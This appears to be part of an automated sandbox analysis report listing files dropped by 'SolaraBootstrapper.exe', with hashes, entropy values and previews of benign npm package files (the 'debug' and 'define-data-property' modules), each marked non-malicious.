Encrypted:	false
SSDEEP:	24:kr4/HHHP0yPP3gtqHw1hH9MPHcv48Ok4MdboHoqDFz:k8/vlPvERdMPHhIjcHoOFz
MD5:	DDD815A475E7338B0BE7A14D8EE35A99
SHA1:	D16A2786962571280A11CAE01D5E59AEB1351C9A
SHA-256:	98C970DE440DCFC77471610AEC2377C9D9B0DB2B3BE6D1ADD524A586E1D7F422
SHA-512:	47B612EF4E93F1AF62891E295E9FBAC05E02CF1726F56C36FAD5314376E28CBCAF7C8355527BC0BDA54C26CBE097BC8CA5CB4F79AA9E3AB6F1D875DCA41D4AAC
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2014 TJ Holowaychuk <tj@vision-media.ca>..Permission is hereby granted, free of charge, to any person obtaining a copy of this software .and associated documentation files (the 'Software'), to deal in the Software without restriction, .including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, .and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so,.subject to the following conditions:..The above copyright notice and this permission notice shall be included in all copies or substantial .portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT .LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. .IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, .WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWIS

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\debug\Makefile

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1059
Entropy (8bit):	5.556812469512553
Encrypted:	false
SSDEEP:	24:0VZxRBMWsQWs17QHHi0cEsvnxLMkcyacxH6kjS4zwbjhNav+yx6bn/JygknmhrU:mZjLsQWs5GHildvnWk5ach6kb1un/Jy/
MD5:	F8739CAB4AE015EE84820716A8AC193A
SHA1:	89EB5A7B8385734EF7FF4F910D4605CDE0BC12FD
SHA-256:	F6466507E02C62F14E477AF08E4A13EC883152B54D87FEEFFB8F0D6DE6E9013B
SHA-512:	EF875B744303169B5600CE5C42A0791A38BF933983F5011BA2EA9560AC5449E6FE9D4AE706EFC970B40096B9533A425FFC53265353EAD256BE44606790688BF1
Malicious:	false
Preview:	# get Makefile directory name: http://stackoverflow.com/a/5982798/376773.THIS_MAKEFILE_PATH:=$(word $(words $(MAKEFILE_LIST)),$(MAKEFILE_LIST)).THIS_DIR:=$(shell cd $(dir $(THIS_MAKEFILE_PATH));pwd)..# BIN directory.BIN := $(THIS_DIR)/node_modules/.bin..# Path.PATH := node_modules/.bin:$(PATH).SHELL := /bin/bash..# applications.NODE ?= $(shell which node).YARN ?= $(shell which yarn).PKG ?= $(if $(YARN),$(YARN),$(NODE) $(shell which npm)).BROWSERIFY ?= $(NODE) $(BIN)/browserify...FORCE:..install: node_modules..node_modules: package.json..@NODE_ENV= $(PKG) install..@touch node_modules..lint: .FORCE..eslint browser.js debug.js index.js node.js..test-node: .FORCE..istanbul cover node_modules/mocha/bin/_mocha -- test/**.js..test-browser: .FORCE..mkdir -p dist...@$(BROWSERIFY) \...--standalone debug \.... > dist/debug.js...karma start --single-run..rimraf dist..test: .FORCE..concurrently \..."make test-node" \..."make test-browser"..coveralls:..cat ./coverage/lcov.info \| ./node_modules/cover

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\debug\README.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text, with very long lines (475)
Category:	dropped
Size (bytes):	17918
Entropy (8bit):	5.215109378560089
Encrypted:	false
SSDEEP:	192:H6R76Zbt7yJXxRrHQbSb4BDyzWM/XAoxIM6jep2JVhgu9o8ZT/ueXBEgdjaSjVwo:U7DxRrqB4rxIMajJVeqaxq3
MD5:	03694893D682191B3C893701BA6F4A55
SHA1:	38096A9C10830714695A97A8501B817EB0A7534E
SHA-256:	CDA3DBD285A2B65894758565A565E7BC2E7C3696225AF7B5BD01454240DF0AEA
SHA-512:	3B80EA8A912EC4DDF1A1E2FC3F3EBD8F4BC6F591F9B2732694CB5627C549D7911C1A6EB82AB68AC025E13E090B3E39B8B4AE66A9159F45696B6343CE76213F54
Malicious:	false
Preview:	# debug.[![Build Status](https://travis-ci.org/visionmedia/debug.svg?branch=master)](https://travis-ci.org/visionmedia/debug) [![Coverage Status](https://coveralls.io/repos/github/visionmedia/debug/badge.svg?branch=master)](https://coveralls.io/github/visionmedia/debug?branch=master) [![Slack](https://visionmedia-community-slackin.now.sh/badge.svg)](https://visionmedia-community-slackin.now.sh/) [![OpenCollective](https://opencollective.com/debug/backers/badge.svg)](#backers) .[![OpenCollective](https://opencollective.com/debug/sponsors/badge.svg)](#sponsors)....A tiny node.js debugging utility modelled after node core's debugging technique...Discussion around the V3 API is under way [here](https://github.com/visionmedia/debug/issues/370)..## Installation..```bash.$ npm install debug.```..## Usage..`debug` exposes a function; simply pass this function the name of your module, and it will return a decorated version of `console.error` for you to pass debug statements to. This will

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\debug\component.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	321
Entropy (8bit):	4.465851094571166
Encrypted:	false
SSDEEP:	6:vX6aLWJd/k9ExRcUS1YpuXH+HQ6MEwHQJIxKHlOXdHhXdBA7SF9CVNkQ:SaLAh3XI1YpYY5MNsSKOdhdBAmCJ
MD5:	510AF4D67A35446E6DCCEA1429399C3A
SHA1:	4963889B7905ABD5A8955B8D27C3079E2D449564
SHA-256:	2E5AB9AE90F41699E00D00FCA16765024F437300A0568C2208669CC281BA7656
SHA-512:	BB8D1E0E4C99A82D32FB40DAA9A79E2ABF3A3F495B3DC9AFA883021110B3CA9EB93E052D71E98D6494722DF947EC280D66F4BCA36BB0AE975F05D710E8C47415
Malicious:	false
Preview:	{. "name": "debug",. "repo": "visionmedia/debug",. "description": "small debugging utility",. "version": "2.6.9",. "keywords": [. "debug",. "log",. "debugger". ],. "main": "src/browser.js",. "scripts": [. "src/browser.js",. "src/debug.js". ],. "dependencies": {. "rauchg/ms.js": "0.7.1". }.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\debug\karma.conf.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	4.788611478595854
Encrypted:	false
SSDEEP:	48:NV32rh/3Q68+ZPnSBKAjzdKT9lqgGU2HHPgb5LtGg:n32V/3p8+ZPcKo1fg
MD5:	06F3BABBDC43C6C4DD1493B6C1AF32E2
SHA1:	93FEF7CF3ED6F04D2CFC3CD0B8D5D972D35CFD29
SHA-256:	2430869ADB61A5E24A3612110A9B49A948E6DB43AB7E947C003A9C19C478E609
SHA-512:	AD65132ED6F675F6F318FEFA36F4E6C23F3FF4DC47D02575F6D5BEF7B062A2E90AEA1A43DD5327C2565BE3D834C969FF2AE3EFDB2ADD4A958882A6F056F659EA
Malicious:	false
Preview:	// Karma configuration.// Generated on Fri Dec 16 2016 13:09:51 GMT+0000 (UTC)..module.exports = function(config) {. config.set({.. // base path that will be used to resolve all patterns (eg. files, exclude). basePath: '',... // frameworks to use. // available frameworks: https://npmjs.org/browse/keyword/karma-adapter. frameworks: ['mocha', 'chai', 'sinon'],... // list of files / patterns to load in the browser. files: [. 'dist/debug.js',. 'test/*spec.js'. ],... // list of files to exclude. exclude: [. 'src/node.js'. ],... // preprocess matching files before serving them to the browser. // available preprocessors: https://npmjs.org/browse/keyword/karma-preprocessor. preprocessors: {. },.. // test results reporter to use. // possible values: 'dots', 'progress'. // available reporters: https://npmjs.org/browse/keyword/karma-reporter. reporters: ['progress'],... // web server port. port: 9876,... // enable /

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\debug\node.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.362814895472354
Encrypted:	false
SSDEEP:	3:3BBBbJCfv:xBBa
MD5:	79F3814F32362C1C6F9DBB8A1E3B01BF
SHA1:	AA7655EE80C9A485313675F9379C2F18D33EA061
SHA-256:	996B381F353555CB172EBB2802BB2A7323442FF67B7B530CC26834058D7F31A2
SHA-512:	61367EC2AFF9349E203A295FE1BC28FADDC6D80B556660F56EA49D6625D6228212FE82D7398114509A3B8D9AD4026429F0EBB849579C7481928F47F37C8632D5
Malicious:	false
Preview:	module.exports = require('./src/node');.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\debug\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1138
Entropy (8bit):	4.7852828549554145
Encrypted:	false
SSDEEP:	24:S11clxHa5MNsrtxd7dNYeUPANZJW1kWmYWJUYUeL5r:Sf0xOhfdZNfUPA5W1kWcPUO
MD5:	71A7656944FFE50CC27EBE02491AE49B
SHA1:	8EBF0F80660D982FC68F00F82855696157E74B10
SHA-256:	6C3D2C892DB282317913CE7C340DD2EDCCD326BCAFD18B644B8738144967D6EE
SHA-512:	5B0010B41304E212A22D2C89EFF65CE410B000C71C4AB8C7FDBA8F549BA0629FE27F37C142058B041FB889BC73E00959AD58F673866EE7D29724687DA3C3F320
Malicious:	false
Preview:	{. "name": "debug",. "version": "2.6.9",. "repository": {. "type": "git",. "url": "git://github.com/visionmedia/debug.git". },. "description": "small debugging utility",. "keywords": [. "debug",. "log",. "debugger". ],. "author": "TJ Holowaychuk <tj@vision-media.ca>",. "contributors": [. "Nathan Rajlich <nathan@tootallnate.net> (http://n8.io)",. "Andrew Rhyne <rhyneandrew@gmail.com>". ],. "license": "MIT",. "dependencies": {. "ms": "2.0.0". },. "devDependencies": {. "browserify": "9.0.3",. "chai": "^3.5.0",. "concurrently": "^3.1.0",. "coveralls": "^2.11.15",. "eslint": "^3.12.1",. "istanbul": "^0.4.5",. "karma": "^1.3.0",. "karma-chai": "^0.1.0",. "karma-mocha": "^1.3.0",. "karma-phantomjs-launcher": "^1.0.2",. "karma-sinon": "^1.0.5",. "mocha": "^3.2.0",. "mocha-lcov-reporter": "^1.2.0",. "rimraf": "^2.5.4",. "sinon": "^1.17.6",. "sinon-chai": "^2.8.0". },. "main": "./src/index.js",. "browser": "

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\debug\src\browser.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4734
Entropy (8bit):	4.98143252477633
Encrypted:	false
SSDEEP:	96:Yl2YeMOqXjS+qBAyJN3spJaRCWqS9KynCYBPVQPVI8rxjpXTjjnZwEKlTDDFanP/:EHX2+FyisIWznCwPVQPVIIlpDjjnZwju
MD5:	62CFEE6D6DD5FFEC5D3ED35073791AEC
SHA1:	C41ADC79487F377D3DFB397C531812FB9CC429A2
SHA-256:	0144AB6A52B9330C567DE11A5C3A4AEA35CDAC47A4C106482AA24AE8054CDC6F
SHA-512:	920AEA250D98E29E8005EF0185DF5E34BC426D321785DF07CBABACE60BDBCFC6C92E2FF0C9F226A54925D2C7D595035EFEABABC935C7F1A4C704E7A7EF641339
Malicious:	false
Preview:	/*. This is the web browser implementation of `debug()`.. . Expose `debug()` as the module.. /..exports = module.exports = require('./debug');.exports.log = log;.exports.formatArgs = formatArgs;.exports.save = save;.exports.load = load;.exports.useColors = useColors;.exports.storage = 'undefined' != typeof chrome. && 'undefined' != typeof chrome.storage. ? chrome.storage.local. : localstorage();../. Colors.. /..exports.colors = [. 'lightseagreen',. 'forestgreen',. 'goldenrod',. 'dodgerblue',. 'darkorchid',. 'crimson'.];../. Currently only WebKit-based Web Inspectors, Firefox >= v31,. * and the Firebug extension (any Firefox version) are known. * to support "%c" CSS customizations.. . TODO: add a `localStorage` variable to explicitly enable/disable colors. */..function useColors() {. // NB: In an Electron preload script, document will be defined but not fully. // initialized. Since we know we're in Chrome, we'll

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\debug\src\debug.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4394
Entropy (8bit):	4.818652396947732
Encrypted:	false
SSDEEP:	96:TlGI0EEQUGReeJ57vPukDprmTC70WWnuOV123LwdVVktI15wHlL6ci6:JR7Jprp70JX23KVVkWsHZ06
MD5:	74BDCCF347345D27FE8A4AC3ADD99C60
SHA1:	A2B8A915C86FC750F56A7137860F19EC1182EE21
SHA-256:	D8D1C1D6C387AB67C3F28D78FD0B20B9BECD69442DB9D3EFE110CA464B509C8A
SHA-512:	C2D47EFEE2A4442BE6375D623F46B4C7EE9552C132B9229EB284BDD98629EDD02664167805B0AF9B3FAAA9B1906E9ED0C5E383396D4995CEF7051F9A450E1B99
Malicious:	false
Preview:	./*. This is the common logic for both the Node.js and web browser. * implementations of `debug()`.. . Expose `debug()` as the module.. /..exports = module.exports = createDebug.debug = createDebug['default'] = createDebug;.exports.coerce = coerce;.exports.disable = disable;.exports.enable = enable;.exports.enabled = enabled;.exports.humanize = require('ms');../. The currently active debug mode names, and names to skip.. /..exports.names = [];.exports.skips = [];../. Map of special "%n" handling functions, for the debug "format" argument.. . Valid key names are a single, lower or upper-case letter, i.e. "n" and "N".. /..exports.formatters = {};../. Previous log timestamp.. /..var prevTime;../. Select a color.. * @param {String} namespace. * @return {Number}. * @api private. */..function selectColor(namespace) {. var hash = 0, i;.. for (i in namespace) {. hash = ((hash << 5) - hash) + namespace.charCodeAt(i);. hash \|= 0; // Convert to 32bit integer.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\debug\src\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	263
Entropy (8bit):	4.632071401695598
Encrypted:	false
SSDEEP:	3:UV9WQYXu2CXK/FzGXMC4dF2PvbhEAS30vaFAVhVEE71ADKL5DVg6VAi1LKLkyBbb:U+DX74LNSkvaFwDEEtU6nsLZBf3bjBOY
MD5:	DD13897EA2EED92695BB7E4E744A9148
SHA1:	182314D32E789E4F9C29E3150AE392F1630F171C
SHA-256:	9A34FEDEB2D269C46ED94E6F13039EB0D16D866DD460EC66FA3ACD78122FA9FE
SHA-512:	0B53BC984178336AC516601E72D477D2BEEEF6936800DA17D3A79C153E0036F7428517EBD75D296729F65856C7E07749029F5AA192B2AC071EFC4D3E39750A32
Malicious:	false
Preview:	/*. Detect Electron renderer process, which is node, but we should. * treat as a browser.. */..if (typeof process !== 'undefined' && process.type === 'renderer') {. module.exports = require('./browser.js');.} else {. module.exports = require('./node.js');.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\debug\src\inspector-log.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	373
Entropy (8bit):	4.732381821992279
Encrypted:	false
SSDEEP:	6:xBBzsUKU2aEmL3L3MHOMcGLuGIOWA9zFtqMKKb1dCWB6kmG7TNXxn:xBBgARbDL3GF/ut/G6q1L4Ux
MD5:	B22697B673C7C3586F22AE0206258FDE
SHA1:	B2F2996B1F38B6CEC0B1746BE6CFE458F2585EAC
SHA-256:	949AE67EC1B655694F83DCE57D47D9D77234F9E7D698616932A90E69C7AFEE91
SHA-512:	4FFD89DBC519A1F6C2F56A1B26F1AAD445DF8D5096DA1453645DBB67DC58B17AE9143906357CA4AF60059740C3BA34F7233049652B805D1AFED3FD206CD55A0C
Malicious:	false
Preview:	module.exports = inspectorLog;..// black hole.const nullStream = new (require('stream').Writable)();.nullStream._write = () => {};../*. Outputs a `console.log()` to the Node.js Inspector console only.. */.function inspectorLog() {. const stdout = console._stdout;. console._stdout = nullStream;. console.log.apply(console, arguments);. console._stdout = stdout;.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\debug\src\node.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6015
Entropy (8bit):	4.983354444087808
Encrypted:	false
SSDEEP:	96:2l2OYeMOqXfMWj7/UZIjh7X7QcYX82ue1jGVLE9RlbME6tCUXXuVTtAH1ReKLGH/:WAX3tJ7nYMu1jGVLE9RlbDECQoTtAHbC
MD5:	25807A97FBB1FCC42A013ABC7D7768C4
SHA1:	F24D52CBC9144B011DEF218234FF7B50E7DDCB19
SHA-256:	A3E83594A4CE88997E2E4FC66BC942B17B9D736290AD62560C7F09D6D0989AD0
SHA-512:	8D316B63700126D7C8965A886E9B35A332D3F7E68D28F2264D235C0AFAD28066F877F25821E1983DDDE5F2D5052716CC73338779B41B6F4D1B90AD33DC3E9F24
Malicious:	false
Preview:	/*. Module dependencies.. /..var tty = require('tty');.var util = require('util');../. This is the Node.js implementation of `debug()`.. . Expose `debug()` as the module.. /..exports = module.exports = require('./debug');.exports.init = init;.exports.log = log;.exports.formatArgs = formatArgs;.exports.save = save;.exports.load = load;.exports.useColors = useColors;../. Colors.. /..exports.colors = [6, 2, 3, 4, 5, 1];../. Build up the default `inspectOpts` object from the environment variables.. . $ DEBUG_COLORS=no DEBUG_DEPTH=10 DEBUG_SHOW_HIDDEN=enabled node script.js. */..exports.inspectOpts = Object.keys(process.env).filter(function (key) {. return /^debug_/i.test(key);.}).reduce(function (obj, key) {. // camel-case. var prop = key. .substring(6). .toLowerCase(). .replace(/_([a-z])/g, function (_, k) { return k.toUpperCase() });.. // coerce string value into JS value. var val = process.env[key];. if (/^(yes\|on\|true\|enabled)$/i.test(val)) val

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\define-data-property\.eslintrc

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.630410182748324
Encrypted:	false
SSDEEP:	6:ExL0UxNSHGsHEL2pLL83sDlJbupsgAxxNHHWBs9QNSVLSIEsms4A:ErxNUkqlAuJSAxNHH2NHIUsX
MD5:	B3C9F2A7A4953F9012AAED328A8FBC0D
SHA1:	756B20295739F5031D17DE42E66D4EE5F61CDFAD
SHA-256:	500A324DB044702F9DF2AAE5901A2BB474F31424A06C580373C9C766B3F897E1
SHA-512:	C4AB5438E1692FFA74833B057514D37210AF346BF0C1761259BA6CF27F171B9A3580C17D30A6A8332FF62401FC3CF31FD47723910286D3563A5008BEBE39C6C2
Malicious:	false
Preview:	{.."root": true,..."extends": "@ljharb",..."rules": {..."complexity": 0,..."id-length": 0,..."new-cap": ["error", {...."capIsNewExceptions": [....."GetIntrinsic",....],...}],..},..."overrides": [...{...."files": "test/**",...."rules": {....."max-lines-per-function": "off",....},...},..],.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\define-data-property\.github\FUNDING.yml

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	591
Entropy (8bit):	4.70311007120714
Encrypted:	false
SSDEEP:	12:OjjcfQWARgMqJugMJPH0FggMKAflgM01bZBgMoGbQjgMy9gMLz4MI:qoQWAg0g+H0mgn8lg7g1GegJ9gEz4D
MD5:	E8DD0B9176D957930C0960CDE3F872EB
SHA1:	E121426BD6188CC578BC0369CEAA981C1D39B027
SHA-256:	DF75ED2445C3BD41CD33A86E496F4EC7E279DAB92D1A01E0CF58C1AE2A675209
SHA-512:	82315EC7AC1B6207834BDA2E509A4D03BD9E8043336AAB92AC1CF620815DA7FC19016F4F1AF3D6F906B4056815CC83D5C7A85453DF0ABD13640A71A98E13C616
Malicious:	false
Preview:	# These are supported funding model platforms..github: [ljharb].patreon: # Replace with a single Patreon username.open_collective: # Replace with a single Open Collective username.ko_fi: # Replace with a single Ko-fi username.tidelift: npm/define-data-property.community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry.liberapay: # Replace with a single Liberapay username.issuehunt: # Replace with a single IssueHunt username.otechie: # Replace with a single Otechie username.custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2'].

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\define-data-property\.nycrc

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	216
Entropy (8bit):	4.771900676344982
Encrypted:	false
SSDEEP:	6:Kw9OfyFdRaB9yq2TpR6S8U7XfUGUiMIOJHhBK:5O6FTaB9WTpR65U7cAMjJHe
MD5:	C2AB942102236F987048D0D84D73D960
SHA1:	95462172699187AC02EAEC6074024B26E6D71CFF
SHA-256:	948366FEA3B423A46366326D0BB2E54B08ABD1CF0B243678BA6625740C40DA5A
SHA-512:	E36B20C16CEEB090750F3865EFC8D7FD983AE4E8B41C30CC3865D2FD4925BF5902627E1F1ED46C0FF2453F076EF9DE34BE899EF57754B29CD158440071318479
Malicious:	false
Preview:	{.."all": true,.."check-coverage": false,.."reporter": ["text-summary", "text", "html", "json"],.."lines": 86,.."statements": 85.93,.."functions": 82.43,.."branches": 76.06,.."exclude": [..."coverage",..."test"..].}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\define-data-property\CHANGELOG.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5390
Entropy (8bit):	5.287721000352198
Encrypted:	false
SSDEEP:	48:E5yEpdBPlfMkMIzncQY7pB09d2PbChEVwR6ozSex+GJ3M/HzAc6VVYcGvRd:E5yE3B9UI5epB0P+uPx+uC6VycGvRd
MD5:	ABC731C24C31F7E21E82B3930B596C26
SHA1:	C27E07B7E88045DC014F4FFC84FEFF4814344FE8
SHA-256:	505CFF21A498C2186D643EBA46DAC80C6D71E25CEFAFF156E24DD2AFE29E8924
SHA-512:	9B3006A24C328F3A2A062AA74D29D7CF4E1845DB42C2E64FF30D3EF09EBD5522B1C26034F7909B597762C4A440D3AC1D074FA7B05431401C9CD74DDBE1098BD3
Malicious:	false
Preview:	# Changelog..All notable changes to this project will be documented in this file...The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html)...## [v1.1.4](https://github.com/ljharb/define-data-property/compare/v1.1.3...v1.1.4) - 2024-02-13..### Commits..- [Refactor] use `es-define-property` [`90f2f4c`](https://github.com/ljharb/define-data-property/commit/90f2f4cc20298401e71c28e1e08888db12021453).- [Dev Deps] update `@types/object.getownpropertydescriptors` [`cd929d9`](https://github.com/ljharb/define-data-property/commit/cd929d9a04f5f2fdcfa9d5be140940b91a083153)..## [v1.1.3](https://github.com/ljharb/define-data-property/compare/v1.1.2...v1.1.3) - 2024-02-12..### Commits..- [types] hand-write d.ts instead of emitting it [`0cbc988`](https://github.com/ljharb/define-data-property/commit/0cbc988203c105f2d97948327c7167ebd33bd318).- [meta] simplify `exports` [`690781e`](https://gith

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\define-data-property\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1071
Entropy (8bit):	5.101229758424099
Encrypted:	false
SSDEEP:	24:iPsrmJHHH0yN3gtsHw1hC09QHOsUv4eOk4/+/m3oqLFh:UsaJHlxE3dQHOs5exm3ogFh
MD5:	06AAE85028F50BA69E6F83B6C9402B26
SHA1:	0F6716ABCA917739D03B6BCD1B17C9D27FAE3141
SHA-256:	B41D08BC3624D8C436FC80237D73EBB361985A67F4504BBCD703E5CA2B27254C
SHA-512:	F420962873B201CA1B413F9F3ED9A2AB6176FB192B2160FEE0C42C8690396A010629D2C0FA3090DCBA4E7FB2AA5364E6AF32DAF00A2870C78EB3EFC0C66A6205
Malicious:	false
Preview:	MIT License..Copyright (c) 2023 Jordan Harband..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.OUT OF OR IN CONN

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\define-data-property\README.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2431
Entropy (8bit):	5.044823356747143
Encrypted:	false
SSDEEP:	48:B1eI4I7qlMwcTNmAnMnn5KlK5c0Wc6FsJIL0IRIDv:LXFelMvTnMnn5KlK5c1Lxuz
MD5:	E1B5204A9C537870BB43DF7C59903F59
SHA1:	DCD48565637E619379E97FCF5E5DAB8C15A41F28
SHA-256:	72DDFA32F732F61479CFB34852CB0F57162BC3037A97BF812C4E42679B3FF0B9
SHA-512:	8737FD203C91CBEC368BD4F8C15E79987D3FB2A6C4C0F55C4643E5308D148FADFD3611C15C19139A8AB98685E50E4CF2D7D17FB043EC157A8561F259CA9369B7
Malicious:	false
Preview:	# define-data-property <sup>[![Version Badge][npm-version-svg]][package-url]</sup>..[![github actions][actions-image]][actions-url].[![coverage][codecov-image]][codecov-url].[![License][license-image]][license-url].[![Downloads][downloads-image]][downloads-url]..[![npm badge][npm-badge-png]][package-url]..Define a data property on an object. Will fall back to assignment in an engine without descriptors...The three `non*` argument can also be passed `null`, which will use the existing state if available...The `loose` argument will mean that if you attempt to set a non-normal data property, in an environment without descriptor support, it will fall back to normal assignment...## Usage..```javascript.var defineDataProperty = require('define-data-property');.var assert = require('assert');..var obj = {};.defineDataProperty(obj, 'key', 'value');.defineDataProperty(..obj,..'key2',..'value',..true, // nonEnumerable, optional..false, // nonWritable, optional..true, // nonConfigurable, optional

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\define-data-property\index.d.ts

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	4.501953568827184
Encrypted:	false
SSDEEP:	6:X2o1DnvffMjRhAfAIH0jCJ5cH2fcJ5cH2hnvJ5cHzqjMRdiiEo2:X2o1DfUjRGbZcBcScTvdiiEo2
MD5:	0D5B9889D2BB934DA5B34765E3B3910F
SHA1:	8DFD551E6DC0EE2FFA8F9946F061957F85A9AB44
SHA-256:	654404BEF397F9614F656D78D09C36D3EF38E005900CEA77C8BEACF0EE1E8F07
SHA-512:	3FC87B252E2A626A6DD52EAA0776BD36C5C1C31CBAB581288509615C4FBBCD16C1B71D93687B8C0140B99047A73605CCC5C04870769A9C7BFEF67C45FCEB6CDE
Malicious:	false
Preview:	.declare function defineDataProperty(. obj: Record<PropertyKey, unknown>,. property: keyof typeof obj,. value: typeof obj[typeof property],. nonEnumerable?: boolean \| null,. nonWritable?: boolean \| null,. nonConfigurable?: boolean \| null,. loose?: boolean.): void;..export = defineDataProperty;

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\define-data-property\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2336
Entropy (8bit):	5.066283915153754
Encrypted:	false
SSDEEP:	48:zSBpOmcmZuYZye6iY4XS4+YuG+72c42itF6IrXWQhQzx2NOj4k:zqpNcmZublv78p0pAHhWIu
MD5:	92D50385CB04E9BBA48103D21A4A08DD
SHA1:	137BB6B7B4E8AEDE40825F23805CB8B8DC3EAB4E
SHA-256:	E34746E8C69BBF6BA2182B7362E9C4DC5FB3C19CACE48091781AE967370BC065
SHA-512:	DC291A9457CFFC5F6EB39694FD91C72877502829BEF01B07DAD5DF47A11751B2910E1807D52842FAD38D8B8309EB6D8207C042CE705A211866717695B6D6D1BE
Malicious:	false
